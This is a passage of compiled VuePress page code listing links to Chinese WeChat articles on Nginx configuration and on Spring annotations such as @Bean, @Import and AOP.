"),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490982&idx=1&sn=a030fac171a108c148badbb627ee8f35&chksm=cf55aaa7f82223b13b5b74b784a79bc2d7ff13348647f014d717452a79a3290e87bb881bd2d7&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("记一次生产环境大面积404问题!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491149&idx=1&sn=04baa8af488a6ce39bc369a64c5109a6&chksm=cf55a94cf822205a4144f97bda5a79fefb2433c565f108f5e46bf8854284e0481c51d668d5aa&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一文带你搞懂Nginx如何配置Http、Https、WS、WSS!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489188&idx=1&sn=652e3f9f6845a0c4c3388b70308c033a&chksm=cf55a1a5f82228b376bb330c18fa9a6f6dd49548de0a2693b7239c0c7aebeda334ef122662e2&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河又一本超硬核Nginx PDF教程免费开源!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489270&idx=1&sn=8f72307402b0e1924ac7a61c3ff1d9ed&chksm=cf55a1f7f82228e1e2c2043f875aeec3f90186500e15d7dfe99776a98f9b831b617cce788969&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何获取客户端真实IP、域名、协议、端口?看这一篇就够了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489269&idx=1&sn=0943fb133c9dfe72d682316c02144901&chksm=cf55a1f4f82228e2cfa3ffe1de0c3e90e5135ed5d1946bcc81bba489979a7ea4ecae2dac4ddf&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("实现负载均衡、限流、缓存、黑白名单和灰度发布,这是最全的一篇了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489268&idx=1&sn=114d161cfc7ebab24a5936cfd35c85de&chksm=cf55a1f5f82228e3a3efe62dfc07d4b6917fdb45edd73a5a29984d02ca739ad6c0211669f346&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官竟然问我Nginx如何生成缩略图,还好我看了这篇文章!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489267&idx=1&sn=c9763c7bd1d016be466b1d19bfb194d0&chksm=cf55a1f2f82228e4d965db2f1442f92611d4cdc9522763174146fc5bfc15d5a183c5517abf57&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何封禁IP和IP段?看完这篇我会了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489266&idx=1&sn=b8d81d7872b21c3bdc2b79954afb7a92&chksm=cf55a1f3f82228e5807042b2181f61fae9bb75fdd9170ac0badc1db59e4201bfe3cfedb77d63&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何按日期分割Nginx日志?看这一篇就够了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489265&idx=1&sn=31b5d53e14577097007bca8d9f99f4a7&chksm=cf55a1f0f82228e6f7a47dbea771a4ebbc7ca628320527ee9cbf041825068cb763848f3c12bc&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何为已安装的Nginx动态添加模块?看完我懂了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489264&idx=1&sn=b4af7a03bd247e26bbb0530a152a35ed&chksm=cf55a1f1f82228e7adc38a9685b22ca02e446f718376c137499c65f9ad613698c17c81d9371a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何格式化日志并推送到远程服务器?看完原来很简单!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489262&idx=1&sn=e60506742aaefef71b55785ef9022030&chksm=cf55a1eff82228f99a9bb9eec79f91e5c2b1b08c7b0c650cb8de99262b1447fca6bc99fc3b7c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官问我Nginx如何配置WebSocket?我给他现场演示了一番!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489261&idx=1&sn=eebb6223c4f61cb2311145e081269393&chksm=cf55a1ecf82228faa0815550f3251695560ecc071569070124ea1d42fe6f46928ea8753c7bda&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何使用Nginx实现MySQL数据库的负载均衡?看完我懂了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489260&idx=1&sn=145c3ad54d74d6e4bc8eb0c1a21f5e4f&chksm=cf55a1edf82228fb7c1e14a1521873580c9754b6f19cdc7dce0ac281416df33c117da9aca9b2&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("还不会使用Nginx解决跨域问题?肝这一篇就够了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489259&idx=1&sn=8a59e21a2a0cca10a9eff8d90d5fe921&chksm=cf55a1eaf82228fcbbf316b55a358617929e2c1d3636be231f35ff9c7a7d2e9d336314fcd2a1&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("图片显示过慢,文件下载不完全,竟然是Nginx的锅!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489258&idx=1&sn=f5109bb08a3234107f633c4cb6c5ef48&chksm=cf55a1ebf82228fdc7f15c9e5ab2440a46031e2b17b911027479057dbdf0fe53232e0aeda722&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何使用Nginx搭建流媒体服务器实现直播?看完这篇我会了!!(文末有福利)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489257&idx=1&sn=0c7e9651f21e56851607fe59d0887b44&chksm=cf55a1e8f82228fe8dc6b8742eeae4fce960f5f433419dec26e78f2dd1a5f3857b8429447f0f&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("并发量太高,Nginx扛不住?这次我错怪Nginx了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489255&idx=1&sn=178b2cf03cbb9c5cf2c48c95bf69ce39&chksm=cf55a1e6f82228f026b2a886012ebb10e393a8c7b2eec51ca197ee9ec8d359f59260ced69969&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何实现Nginx的高可用负载均衡?肝了这篇我也会了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489221&idx=1&sn=dc4cbda1f5910cecb1f6209cc75a509d&chksm=cf55a1c4f82228d201589f84eb860eaa0265432edc7ae7eba113218eede8bb0c93758c4f9fa2&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何使用自签CA配置HTTPS加密反向代理访问?看了这篇我会了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489212&idx=1&sn=e6d17bfa0adc237c39f0cf56e4afdb9d&chksm=cf55a1bdf82228ab09f138a3e668cf673aad05f46b4e3a85d2f22697e9b6b5510a78074a727a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何搭建Nginx+Keepalived双机热备环境?这是最全的一篇了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489206&idx=1&sn=a77f5c7d4eb66598b3a57c9d74f348ef&chksm=cf55a1b7f82228a198342bd023dd0e7daf8d4cb71262522df40156b348e2be2803c663be920d&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:给我讲讲Nginx如何实现四层负载均衡?"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"spring注解系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#spring注解系列"}},[e._v("#")]),e._v(" Spring注解系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489310&idx=1&sn=dccb43beea0aca68c5f14fabc1a8252e&chksm=cf55a01ff8222909f6c327a3cfa882258d10bcaf3a864aa3845a4ab0334dfa304a287861fc68&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("聊聊Spring注解驱动开发那些事儿!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489309&idx=1&sn=0653cf09236644996db5209a0ab10776&chksm=cf55a01cf822290a16b13adbe46981535fc0b885f4b0e157f5fe24ceaa3547a11ed971dd1efa&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("使用@Configuration和@Bean向容器中注册组件?看这一篇就够了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489308&idx=1&sn=bc479764e33c46724614036686a1b258&chksm=cf55a01df822290be561fb22e96ba97cdea980b6838ac0a739cfced52b09b93a153e64d5857c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("使用@ComponentScan自动扫描组件并指定扫描规则"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489307&idx=1&sn=66467a37a48b8784e9f0ea76a63d2e00&chksm=cf55a01af822290c0d85dba69159822eea5a460174b513121b022979dc0779749803e309a07f&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("自定义TypeFilter指定@ComponentScan注解的过滤规则"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489306&idx=1&sn=45e9c6f14de9eeadf4153c8a0df4157f&chksm=cf55a01bf822290d73ed717b67fc0af081c4772598c113f465e2862bc2ec99605f267fd6ea16&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("使用@Scope注解设置组件的作用域"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489305&idx=1&sn=983c4e75e2ffd12d2653ab8013fac3bf&chksm=cf55a018f822290eecd1e85c5160430f702c85fc32de5a810ff04405a9de5557764f7c7d0bb3&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("不知道什么是懒加载?看这一篇就够了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489304&idx=1&sn=4186e3b0208ac40ad53a25411bf985c5&chksm=cf55a019f822290ffeda65ed64267fa6dd37b1b688e153fc040322d8b8f92209703854b15f90&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何按照条件向Spring容器中注册bean?这次我懂了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489303&idx=1&sn=b5292f66835dd95ca43eebd76201f935&chksm=cf55a016f82229004d1aa496cafcfc374eef1e8b2df795a292ef457c691592f8540147c4fd55&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("使用@Import注解给容器中快速导入一个组件"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489302&idx=1&sn=50c871b0b0e4f52a9301f7ce37708df2&chksm=cf55a017f8222901e31555a8962fe59867459cf973a36c4baac01e0441db2cedb488cb5721ff&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("在@Import注解中使用ImportSelector接口导入bean"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489301&idx=1&sn=0a4488c88458d2211786c84e53a07a21&chksm=cf55a014f822290228ec67ae39a5228e92af88f70c9f94193ac59244efa612f8397bafd5743b&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("深入理解Spring的ImportSelector接口"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489299&idx=1&sn=dc9913a3e6a35aa4fe74b88aa4820996&chksm=cf55a012f8222904f6735e7459bd405d5cd2ea449371441f6b4be23dac89d05cf2a8feb1ea0a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:如何将Service注入到Servlet中?朋友又栽了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489298&idx=1&sn=b686e50d0c27bf4e4cbd6be651613687&chksm=cf55a013f8222905f521513fce253872a9b476a008674a8b1d9b51ac09ea3a8bc5aa1d071883&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("在@Import中使用ImportBeanDefinitionRegistrar向容器中注册bean"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489297&idx=1&sn=7758415066c014d460f9b7994a26548d&chksm=cf55a010f82229064a6a85cbabb75137bbfe0ae5354a9ccbeed481a2c279e6427ca871c95415&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官让我说说:如何使用FactoryBean向Spring容器中注册bean?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489295&idx=1&sn=c5edfac2d7349b804ea9e03dae18d4cc&chksm=cf55a00ef8222918260acffdc5fdd3656d9fa532b503fe7c920140f1a9ece3fe32a665e634a7&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何使用@Bean注解指定初始化和销毁的方法?看这一篇就够了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489294&idx=1&sn=656cf69dfa8a7dc8817f93330e0cabc6&chksm=cf55a00ff8222919a17e5570bb59992f5df79116d313a21e65da52db6aaa12a1401c4c059c8d&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Spring中的InitializingBean和DisposableBean,你真的了解吗?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489292&idx=1&sn=9df66f4ce0e983301114026855d65a6b&chksm=cf55a00df822291bd250c55eb3f2e74c6c750ee0d3af001b997d676e2308c9836fdc5b2b1a58&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("你真的了解@PostConstruct注解和@PreDestroy注解吗?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489291&idx=1&sn=9f5a892a7bb5c695beda309f6873a0fa&chksm=cf55a00af822291c104db2efa426b784a097237529791edbf9d79f8a77de6f34b4848789d397&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("@PostConstruct与@PreDestroy源码的执行过程"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489290&idx=1&sn=7a2c6d0e960122871121b3339aa97eda&chksm=cf55a00bf822291d6ce498fa3254bc283b4732d0754df2a9094d5521c3a1b513acee9ae17737&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("关于BeanPostProcessor后置处理器,你了解多少?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489289&idx=1&sn=575cc9f1555bc929c8add21874a24133&chksm=cf55a008f822291e99621aa34793b2b3b598d75d224f1f96015d2c5b413875d3900f9b78abb1&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("针对bean的生命周期,我们究竟能做哪些工作?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489288&idx=1&sn=1539ba17e1be37437a33fcce6baa2c67&chksm=cf55a009f822291f6b068a2dcb7cbb3234a82f84cd29c2b1cc4f04a0ec7416bfd08b4a9c61ac&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官再问你BeanPostProcessor的执行流程,就把这篇文章甩给他!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489286&idx=1&sn=2169252c0eaa130d8f79cba49e80b060&chksm=cf55a007f8222911826eba428a77eb5a3b40624a4cd7cb5fd26021c1fabe3c9245accdcea038&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("困扰了我很久的AOP嵌套调用终于解决了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489282&idx=1&sn=07296f9b6ff2b36153f25e43a4769e0f&chksm=cf55a003f8222915e5eb75c15ccaab9e7f7f12c53a74c4ed828da90a86f6a1fc03b60969d005&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("BeanPostProcessor在Spring底层是如何使用的?看完这篇我懂了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489281&idx=1&sn=d57cc587101e3fba1f176538042cc003&chksm=cf55a000f822291634780af1a4fc831bc5875d414ceee00cd0af47a4036e4478e39bbed99bf5&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何使用@Value注解为bean的属性赋值,我们一起吊打面试官!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489236&idx=1&sn=7bc6f84c959454ac54f82f4971b4e688&chksm=cf55a1d5f82228c3d04d83ed495bd8875039b7cac1f722694dadaf3ea225de7aebb41b11cf59&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("使用@PropertySource加载配置文件,我只看这一篇!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489235&idx=1&sn=a219d46700547fa72ccd89c57cf4129f&chksm=cf55a1d2f82228c4796ec2d19138c7e3a9a5186ccc3967801ecd2481a9f18a6cf025f657bd02&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("使用@Autowired@Qualifier@Primary三大注解自动装配组件,你会了吗?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489234&idx=1&sn=0fbd5246a090de06348791d77f115810&chksm=cf55a1d3f82228c5da95c44ffc3e8b306ee1edc6f08cbe2ac223f280808745413aa935d75175&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("你还不会使用@Resource和@Inject注解?那你就out了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489229&idx=1&sn=8180a35d131c8134226d951bb43b958b&chksm=cf55a1ccf82228dabc01bbb036f89177a3f06ea7c2820c0be24ec6f1f675f79df9534dd8e9bf&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何实现方法、构造器位置的自动装配?我这样回答让面试官很满意!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489228&idx=1&sn=7aaeed8347d0af9fb2d302375c8863ad&chksm=cf55a1cdf82228db5f7b050fc6dada5b88dfd60db1103a8a101b5bb0435b0cd465e94287b00b&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何解决Spring的循环依赖问题?这道面试题助我拿到了Offer!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489226&idx=1&sn=abab63bda0f1264b030fbf7ec41d52a6&chksm=cf55a1cbf82228dd55a462100fa6bc27e6d75fd898d49a985c8c61c9503ed64c04705368bcf8&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("自定义组件如何注入Spring底层的组件?看了这篇我才真正理解了原理!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489222&idx=1&sn=127337da3ff999c8e33ca3a36034a551&chksm=cf55a1c7f82228d18bd1f5fdf387e72b31f2d60cb9a84f8474b840f6132bb02293c695e8fa75&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何实现多数据源读写分离?这是我看过最详细的一篇!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489219&idx=1&sn=fa2b821de8613178afe23e1038fb76e7&chksm=cf55a1c2f82228d4024cf2e859a30b50806ecafab99e7c46579414fcd75ecfb0942486f5f0a7&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("使用@Profile注解实现开发、测试和生产环境的配置和切换,看完这篇我彻底会了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489211&idx=1&sn=bb6010e420915ed179391de3f70b86ae&chksm=cf55a1baf82228ac8e219cf98135b97d3e71259574610884de73549a195ef480aa7882750270&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("你敢信?面试官竟然让我现场搭建一个AOP测试环境!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489210&idx=1&sn=becc26b4b2d681007bfa52ce2448eed5&chksm=cf55a1bbf82228ada0bd72aec8670bf774918b7bbaa2613baa59d77008566400a75b7d5be6a9&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("二狗子让我给他讲讲@EnableAspectJAutoProxy注解"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489209&idx=1&sn=bfb8b57184f15aa3407ed43baf76bfd1&chksm=cf55a1b8f82228ae396cb480789fe08866366e3f29f900dd23b3311e136524c311251c72308e&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("AOP核心类源码解析,这是最全的一篇了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489201&idx=1&sn=b82ac41138725d3ba1fce1b6b324fcf1&chksm=cf55a1b0f82228a654acca2742e62ceb13571215d051a22d1b9d03b9aab56523d22525a24705&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("IOC容器注解汇总,你想要的都在这儿了!!(文末可留言)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489170&idx=1&sn=54fd5ea7592a614e83b73527b8b0fbc2&chksm=cf55a193f8222885628dec6bd4d8d5a840039b914e12361718916b6ff033d5415298e6db31c1&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("为啥你用@JsonFormat注解反序列化LocalDateTime总失败?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489112&idx=1&sn=b70f339a3a7c09e91d4d6c7b08db1f00&chksm=cf55a159f822284fd0bdb37a1e7603157486a02787c7f4d4b044a14197bb9806c4babaadd94b&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何实现多数据源读写分离?这是我看过最详细的一篇!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489109&idx=1&sn=e15dd6789f190868c8ee19046d1f676d&chksm=cf55a154f822284203bd64fd9ad23c38aa7d502780c3577cbfb12ac2c2e9160a21a251c65274&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一张图带你彻底理解Spring如何解决循环依赖!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489102&idx=1&sn=b09b429c8e40863208dafa47f554e15f&chksm=cf55a14ff8222859fe8b31d32dcb7a722ef1c539befc5e093b64fdbb3da99fb22dd3bfc6ec35&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Spring AOP核心类解析,这是最全的一篇了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491199&idx=1&sn=524a1942c88d19e0536a2b1a06c4d3de&chksm=cf55a97ef8222068e51544a288302363290dd95c4bab7bd78205ffd5784c838cbfa745183e6c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("小伙伴们在催更Spring系列,于是我汇总了Spring中的各项注解!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491259&idx=1&sn=8bda41604df41c407d6d3b6820c5495f&chksm=cf55a9baf82220acb058117cf4c3b204d2f911839abf05258f6e3c55b25038c98d5337e2e7a5&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一张图带你窥探「Spring注解系列」到底要更新些啥?"),a("OutboundLink")],1)]),e._v(" 